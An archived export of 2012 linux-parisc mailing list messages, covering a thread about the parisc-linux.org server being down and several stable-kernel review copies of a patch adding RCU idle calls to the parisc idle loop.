	id S1755828Ab2JJVbT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Oct 2012 17:31:19 -0400
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 6729233C1EE;
	Wed, 10 Oct 2012 21:31:18 +0000 (UTC)
User-Agent: KMail/1.13.7 (Linux/3.5.2; KDE/4.6.5; x86_64; ; )
In-Reply-To: <CAE2sS1g_e6gh-gZhmtA+vjhmEv2cttkoPkpsWSxNhN7RAhT-ww@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4621
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4621>

--nextPart3565976.4M2Ua5BESX
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

On Wednesday 10 October 2012 16:14:35 Carlos O'Donell wrote:
> Is www.parisc-linux.org down for anyone else?

yes, i cannot ping it and all connections timeout
-mike

--nextPart3565976.4M2Ua5BESX
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (GNU/Linux)

iQIcBAABAgAGBQJQdeknAAoJEEFjO5/oN/WBMlYP/1WGZwNRMVRetZcSBLo/wEY0
oVz8o+xQx7lUVuG9WGSOqIRLjdU3nj2WG3iuqPPyUUyMaqsGDtOfkpW+PLWOKrIo
/1EEZpu6KfzTmI87nLneOX//3gT1wHJKXy0xoLjSJ22E7GCGoz06gd1nD7IpAU1C
Lyo+oj+xPBDxdtr38SnWn5Y6AMS7XbDlsIjEZlXqsQLFyHhLZERep9R28LLClnhi
UxheL4EnaXIB3QsGOfbA1zUy/AEbFnI9Ghi37l/KptLGaZIuP/BzBcv2M/nHKScP
XVOsSuBafX//8i/U7x+YRMVMWPGbB5kfG6cn2dWk1bE8KpQbsiWwCFFr+GZ9E/Pv
ngkk5frTOBIfv4nz5b2Q9Tt0cEnD+l+mu4Sb57dlEZUuwiWx9LVbdz//qkd1iePv
8gPGWJpXwZW2lwTimE75YF49GufsJNblANewg9y9HxzCKAX3gGdDHi6c1FII04Nc
DtAs2UY5GTpAOdXMGO+WZSmOxgzU+FGnAGMrxTCX8/peiLXU0BEs30IGl3FS9BoC
YXV1bwaEizlQvLAJ5UFy4xihXtO2tyVdZsbmYr3DCJc5nihZXuW9KeyJ2yPKyb+B
R4NP+VqnrJlBE6MaZ/HoSvkvdPz/eAndD4rCs8vgFz/a0WhFI6jsHc8a93aKetTx
9pJCTWfTjeab7I4HhsiD
=9C9i
-----END PGP SIGNATURE-----

--nextPart3565976.4M2Ua5BESX--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ports.parisc
Subject: [ 089/122] parisc: Add missing RCU idle APIs on idle loop
Date: Thu, 11 Oct 2012 07:54:15 +0900
Lines: 61
Approved: news@gmane.org
Message-ID: <20121010225354.064784157@linuxfoundation.org>
References: <20121010225337.989799482@linuxfoundation.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1349915544 10321 80.91.229.3 (11 Oct 2012 00:32:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 11 Oct 2012 00:32:24 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	alan@lxorguk.ukuu.org.uk,
	"Paul E. McKenney" <paulmck@linux.vnet.ibm.com>,
	Frederic Weisbecker <fweisbec@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	Josh Triplett <josh@joshtriplett.org>
To: linux-kernel@vger.kernel.org, stable@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 11 02:32:29 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1TM6hP-00040i-CW
	for glk-linux-kernel-3@plane.gmane.org; Thu, 11 Oct 2012 02:32:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933606Ab2JKAcN (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 10 Oct 2012 20:32:13 -0400
Original-Received: from out1-smtp.messagingengine.com ([66.111.4.25]:34349 "EHLO
	out1-smtp.messagingengine.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932836Ab2JKAYv (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 10 Oct 2012 20:24:51 -0400
Original-Received: from compute4.internal (compute4.nyi.mail.srv.osa [10.202.2.44])
	by gateway1.nyi.mail.srv.osa (Postfix) with ESMTP id 4786120E69;
	Wed, 10 Oct 2012 20:24:51 -0400 (EDT)
Original-Received: from frontend2.nyi.mail.srv.osa ([10.202.2.161])
  by compute4.internal (MEProxy); Wed, 10 Oct 2012 20:24:51 -0400
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=
	messagingengine.com; h=from:to:cc:subject:date:message-id
	:in-reply-to:references; s=smtpout; bh=fSvfnSWItig3p/P2348Nf0nEJ
	ec=; b=UT3YpXpcl7YzbsBgthadUQ3o5jEvgvIMWPOYqA0EPHRiO+hrtI2PYIaIc
	59StPQ6si9WQYjo0ALs6hUm0b1qcBwOce4JiYtjlTvWL6Gy6JWDcjLq6M5rP0XER
	8rq/epXLPOgy4iC6hBD0/C6cjKlwAPH74bww9JZMJWPTN/9oAU=
X-Sasl-enc: zxi363qvfD1IHYcr60tNiO+arvE9I5J5QHPuOKBkzI1w 1349915090
Original-Received: from localhost (unknown [222.106.197.10])
	by mail.messagingengine.com (Postfix) with ESMTPA id 7EF2848255E;
	Wed, 10 Oct 2012 20:24:50 -0400 (EDT)
X-Mailer: git-send-email 1.8.0.rc0.18.gf84667d
In-Reply-To: <20121010225337.989799482@linuxfoundation.org>
User-Agent: quilt/0.60-2.1.2
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1373765 gmane.linux.kernel.stable:33016 gmane.linux.ports.parisc:4622
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1373765>

3.6-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Frederic Weisbecker <fweisbec@gmail.com>

commit fbe752188d5589e7fcbb8e79824e560f77dccc92 upstream.

In the old times, the whole idle task was considered
as an RCU quiescent state. But as RCU became more and
more successful overtime, some RCU read side critical
section have been added even in the code of some
architectures idle tasks, for tracing for example.

So nowadays, rcu_idle_enter() and rcu_idle_exit() must
be called by the architecture to tell RCU about the part
in the idle loop that doesn't make use of rcu read side
critical sections, typically the part that puts the CPU
in low power mode.

This is necessary for RCU to find the quiescent states in
idle in order to complete grace periods.

Add this missing pair of calls in the parisc's idle loop.

Reported-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
Signed-off-by: Frederic Weisbecker <fweisbec@gmail.com>
Cc: James E.J. Bottomley <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Parisc <linux-parisc@vger.kernel.org>
Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
Reviewed-by: Josh Triplett <josh@joshtriplett.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 arch/parisc/kernel/process.c |    3 +++
 1 file changed, 3 insertions(+)

--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -48,6 +48,7 @@
 #include <linux/unistd.h>
 #include <linux/kallsyms.h>
 #include <linux/uaccess.h>
+#include <linux/rcupdate.h>
 
 #include <asm/io.h>
 #include <asm/asm-offsets.h>
@@ -69,8 +70,10 @@ void cpu_idle(void)
 
 	/* endless idle loop with no priority at all */
 	while (1) {
+		rcu_idle_enter();
 		while (!need_resched())
 			barrier();
+		rcu_idle_exit();
 		schedule_preempt_disabled();
 		check_pgt_cache();
 	}



From - Thu Nov 08 21:08:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org down?
Date: Wed, 10 Oct 2012 20:37:20 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <CAE2sS1juyHV=iQLk216pcEoGvBFTfRNuoR=6MA9zpVTz1Hd9kQ@mail.gmail.com>
References: <CAE2sS1g_e6gh-gZhmtA+vjhmEv2cttkoPkpsWSxNhN7RAhT-ww@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1349915850 12693 80.91.229.3 (11 Oct 2012 00:37:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 11 Oct 2012 00:37:30 +0000 (UTC)
Cc: Dann Frazier <dannf@dannf.org>
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 11 02:37:37 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TM6mP-0006dP-Bs
	for glpp-linux-parisc@plane.gmane.org; Thu, 11 Oct 2012 02:37:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932930Ab2JKAhZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Oct 2012 20:37:25 -0400
Original-Received: from mail-ie0-f174.google.com ([209.85.223.174]:59150 "EHLO
	mail-ie0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933078Ab2JKAhV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Oct 2012 20:37:21 -0400
Original-Received: by mail-ie0-f174.google.com with SMTP id k13so2066071iea.19
        for <linux-parisc@vger.kernel.org>; Wed, 10 Oct 2012 17:37:20 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:x-originating-ip:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type:x-gm-message-state;
        bh=dP+NZ4lowHT2vjBynb/EKsByxA8GJKodYKpZocfGSXs=;
        b=U+9Iu56skfkXYV+WjghnaSNkHwWOuVSnz300yrvC6y5ne5grhS4u7HJAlgZxUC66d5
         WxMB6wBqF9NsL9j69ZDfju9Akhb+h5SYehKwpuzL90Lnj0gDPnJ0K/VNA7Z1uSoA2N/5
         dhy7PUnfCSPClbCih0zOYvT8FnTW6ty/wpqAAjlOz1FHyd9kung6zJgvoPyzcYff88+J
         u7fmDca4/LcZxWWFEf9sXKGgMGvvJY15IKpHSvOft95eSLbA8UmeJvPq9nWJF8l6oxU/
         57G4V92sJHaUmFHU2AXvKoQf+tFKeLv2rKZ8fyCzW88K69IcuMSW4bD5zOMufeIHOXxF
         RehA==
Original-Received: by 10.50.181.202 with SMTP id dy10mr7164343igc.14.1349915840191;
 Wed, 10 Oct 2012 17:37:20 -0700 (PDT)
Original-Received: by 10.42.148.67 with HTTP; Wed, 10 Oct 2012 17:37:20 -0700 (PDT)
X-Originating-IP: [67.71.83.60]
In-Reply-To: <CAE2sS1g_e6gh-gZhmtA+vjhmEv2cttkoPkpsWSxNhN7RAhT-ww@mail.gmail.com>
X-Gm-Message-State: ALoCoQlGDk0GyQpds6AN4vdEPiS1c3t9hlpC9xeJunOkvuJEdo3cNfQXwOn2gPCO4/M7m590eNfo
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4623
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4623>

On Wed, Oct 10, 2012 at 4:14 PM, Carlos O'Donell
<carlos@systemhalted.org> wrote:
> Community,
>
> Is www.parisc-linux.org down for anyone else?

So it looks like the box is down, Dave, and Mike confirm.

Does anyone know how we manage this box?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ports.parisc
Subject: [ 102/133] parisc: Add missing RCU idle APIs on idle loop
Date: Thu, 11 Oct 2012 07:52:08 +0900
Lines: 61
Approved: news@gmane.org
Message-ID: <20121010224912.874143177@linuxfoundation.org>
References: <20121010224854.313159132@linuxfoundation.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1349916027 14208 80.91.229.3 (11 Oct 2012 00:40:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 11 Oct 2012 00:40:27 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	alan@lxorguk.ukuu.org.uk,
	"Paul E. McKenney" <paulmck@linux.vnet.ibm.com>,
	Frederic Weisbecker <fweisbec@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	Josh Triplett <josh@joshtriplett.org>
To: linux-kernel@vger.kernel.org, stable@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 11 02:40:32 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1TM6pC-0007ss-Q6
	for glk-linux-kernel-3@plane.gmane.org; Thu, 11 Oct 2012 02:40:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932956Ab2JKAkS (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 10 Oct 2012 20:40:18 -0400
Original-Received: from out1-smtp.messagingengine.com ([66.111.4.25]:42153 "EHLO
	out1-smtp.messagingengine.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932832Ab2JKAOr (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 10 Oct 2012 20:14:47 -0400
Original-Received: from compute2.internal (compute2.nyi.mail.srv.osa [10.202.2.42])
	by gateway1.nyi.mail.srv.osa (Postfix) with ESMTP id 77B9120E68;
	Wed, 10 Oct 2012 20:14:47 -0400 (EDT)
Original-Received: from frontend2.nyi.mail.srv.osa ([10.202.2.161])
  by compute2.internal (MEProxy); Wed, 10 Oct 2012 20:14:47 -0400
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=
	messagingengine.com; h=from:to:cc:subject:date:message-id
	:in-reply-to:references; s=smtpout; bh=LZ30HaEmMuktydi83r6RKZZOf
	C8=; b=uOz6CSdHl09ew41EZfLaV4K8emGJkxSdBwLpo/lbA0Ws/AeyWl1t3pQqc
	38zlNn/kjCjubG5v8j979poFU9ua8dsN6uCtTTqZqPZ44ZZzEKfwIdKkdPQUu0qm
	5n3Gf6Gd1tEy0a19ZaGKWNgc8EseABUPyLdVxJf9NoOop6d5dA=
X-Sasl-enc: 56PMs4RACuiqPUpbVoBWqMj6jw04l9+ZWvoReTXXUcgY 1349914486
Original-Received: from localhost (unknown [222.106.197.10])
	by mail.messagingengine.com (Postfix) with ESMTPA id 954AA4827E9;
	Wed, 10 Oct 2012 20:14:46 -0400 (EDT)
X-Mailer: git-send-email 1.8.0.rc0.18.gf84667d
In-Reply-To: <20121010224854.313159132@linuxfoundation.org>
User-Agent: quilt/0.60-2.1.2
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1373785 gmane.linux.kernel.stable:33031 gmane.linux.ports.parisc:4624
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1373785>

3.5-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Frederic Weisbecker <fweisbec@gmail.com>

commit fbe752188d5589e7fcbb8e79824e560f77dccc92 upstream.

In the old times, the whole idle task was considered
as an RCU quiescent state. But as RCU became more and
more successful overtime, some RCU read side critical
section have been added even in the code of some
architectures idle tasks, for tracing for example.

So nowadays, rcu_idle_enter() and rcu_idle_exit() must
be called by the architecture to tell RCU about the part
in the idle loop that doesn't make use of rcu read side
critical sections, typically the part that puts the CPU
in low power mode.

This is necessary for RCU to find the quiescent states in
idle in order to complete grace periods.

Add this missing pair of calls in the parisc's idle loop.

Reported-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
Signed-off-by: Frederic Weisbecker <fweisbec@gmail.com>
Cc: James E.J. Bottomley <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Parisc <linux-parisc@vger.kernel.org>
Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
Reviewed-by: Josh Triplett <josh@joshtriplett.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 arch/parisc/kernel/process.c |    3 +++
 1 file changed, 3 insertions(+)

--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -48,6 +48,7 @@
 #include <linux/unistd.h>
 #include <linux/kallsyms.h>
 #include <linux/uaccess.h>
+#include <linux/rcupdate.h>
 
 #include <asm/io.h>
 #include <asm/asm-offsets.h>
@@ -69,8 +70,10 @@ void cpu_idle(void)
 
 	/* endless idle loop with no priority at all */
 	while (1) {
+		rcu_idle_enter();
 		while (!need_resched())
 			barrier();
+		rcu_idle_exit();
 		schedule_preempt_disabled();
 		check_pgt_cache();
 	}



From - Thu Nov 08 21:08:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org down?
Date: Wed, 10 Oct 2012 21:04:35 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <CAE2sS1hazzdG94i+Rz0PmF9MmzF62K1vW3knSUUe3PMgRVzhtA@mail.gmail.com>
References: <CAE2sS1g_e6gh-gZhmtA+vjhmEv2cttkoPkpsWSxNhN7RAhT-ww@mail.gmail.com>
	<CAE2sS1juyHV=iQLk216pcEoGvBFTfRNuoR=6MA9zpVTz1Hd9kQ@mail.gmail.com>
	<20121011005538.GD13426@dannf.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1349917511 25465 80.91.229.3 (11 Oct 2012 01:05:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 11 Oct 2012 01:05:11 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: dann frazier <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 11 03:05:15 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TM7D8-00026Y-Fk
	for glpp-linux-parisc@plane.gmane.org; Thu, 11 Oct 2012 03:05:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932267Ab2JKBFE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Oct 2012 21:05:04 -0400
Original-Received: from mail-ie0-f174.google.com ([209.85.223.174]:43313 "EHLO
	mail-ie0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932864Ab2JKBEf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Oct 2012 21:04:35 -0400
Original-Received: by mail-ie0-f174.google.com with SMTP id k13so2098059iea.19
        for <linux-parisc@vger.kernel.org>; Wed, 10 Oct 2012 18:04:35 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:x-originating-ip:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type:x-gm-message-state;
        bh=+bpK+N+dcw7fedUutiNwu2SVttS0CwkNhIRHPr+M1vo=;
        b=fNwaaRLwvXbmAiPgP79gH7IiJrwrpoRrVdMkNJNCUE48b70hP33B+WXvUxsaFjCaSM
         9wqbAMJ20s+6s6cih+xECyL3m0WcYfO7WYybMF39XjNxN83RKIKo9liqEoiPYXA/zb1E
         h8E6Z9RECzVLtQbkkpLrqfWuLwgoiNDPqKe+VV7gbpQiDPmvSHYXr0FEfkORDuM555Ja
         c9J/fHWaPhv3vdZcNGewfKSpTNxWZVmZKTHF8t+WAJwjHSEss/eaoLoi7FyQ+Pas7+mF
         CCoLVx5HCUlJwWAsAAXSACMbsRSU284awIjl2lbke1G4Xlokr8DVUYsWx9EX/fNMi1S5
         OZtg==
Original-Received: by 10.50.160.165 with SMTP id xl5mr7232504igb.0.1349917475368; Wed,
 10 Oct 2012 18:04:35 -0700 (PDT)
Original-Received: by 10.42.148.67 with HTTP; Wed, 10 Oct 2012 18:04:35 -0700 (PDT)
X-Originating-IP: [67.71.83.60]
In-Reply-To: <20121011005538.GD13426@dannf.org>
X-Gm-Message-State: ALoCoQnb8qLIVpzXw9sc5YegmvROD/1oRBZbn/umk8jeZg08KaMuquSnOCV+Bgb4HgTsmBbIhReg
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4625
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4625>

On Wed, Oct 10, 2012 at 8:55 PM, dann frazier <dannf@dannf.org> wrote:
>> So it looks like the box is down, Dave, and Mike confirm.
>>
>> Does anyone know how we manage this box?
>
> Yes, it appears to be down. Noone is really managing the box - the
> consensus was to move it to a VM somewhere, but noone volunteered to
> do so. I'll ask someone at hp to power cycle it to see if that brings
> it back.

Thanks for reminding me of the current situation.

I'll see what I can do about hosting www.parisc-linux.org, and perhaps
changing the site design to be something as simple as a wiki on an EC2
instance.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org down?
Date: Wed, 10 Oct 2012 18:55:38 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20121011005538.GD13426@dannf.org>
References: <CAE2sS1g_e6gh-gZhmtA+vjhmEv2cttkoPkpsWSxNhN7RAhT-ww@mail.gmail.com>
 <CAE2sS1juyHV=iQLk216pcEoGvBFTfRNuoR=6MA9zpVTz1Hd9kQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1349917532 25616 80.91.229.3 (11 Oct 2012 01:05:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 11 Oct 2012 01:05:32 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 11 03:05:38 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TM7DV-0002HT-6U
	for glpp-linux-parisc@plane.gmane.org; Thu, 11 Oct 2012 03:05:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932778Ab2JKBF1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Oct 2012 21:05:27 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:43695 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932421Ab2JKBFZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Oct 2012 21:05:25 -0400
X-Greylist: delayed 582 seconds by postgrey-1.27 at vger.kernel.org; Wed, 10 Oct 2012 21:05:25 EDT
Original-Received: from localhost (c-76-120-123-66.hsd1.co.comcast.net [76.120.123.66])
	(using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(Client did not present a certificate)
	by complete.lackof.org (Postfix) with ESMTPSA id F352033E0119;
	Wed, 10 Oct 2012 18:55:39 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <CAE2sS1juyHV=iQLk216pcEoGvBFTfRNuoR=6MA9zpVTz1Hd9kQ@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Virus-Scanned: clamav-milter 0.97.5 at complete.lackof.org
X-Virus-Status: Clean
X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY
	autolearn=unavailable version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on complete.lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4626
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4626>

On Wed, Oct 10, 2012 at 08:37:20PM -0400, Carlos O'Donell wrote:
> On Wed, Oct 10, 2012 at 4:14 PM, Carlos O'Donell
> <carlos@systemhalted.org> wrote:
> > Community,
> >
> > Is www.parisc-linux.org down for anyone else?
> 
> So it looks like the box is down, Dave, and Mike confirm.
> 
> Does anyone know how we manage this box?

Yes, it appears to be down. Noone is really managing the box - the
consensus was to move it to a VM somewhere, but noone volunteered to
do so. I'll ask someone at hp to power cycle it to see if that brings
it back.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.stable
Subject: [ 088/120] parisc: Add missing RCU idle APIs on idle loop
Date: Thu, 11 Oct 2012 10:00:40 +0900
Lines: 66
Approved: news@gmane.org
Message-ID: <20121011005842.879908847@linuxfoundation.org>
References: <20121011005825.364610894@linuxfoundation.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1349917999 29326 80.91.229.3 (11 Oct 2012 01:13:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 11 Oct 2012 01:13:19 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	alan@lxorguk.ukuu.org.uk,
	"Paul E. McKenney" <paulmck@linux.vnet.ibm.com>,
	Frederic Weisbecker <fweisbec@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	Josh Triplett <josh@joshtriplett.org>
To: linux-kernel@vger.kernel.org, stable@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 11 03:13:24 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
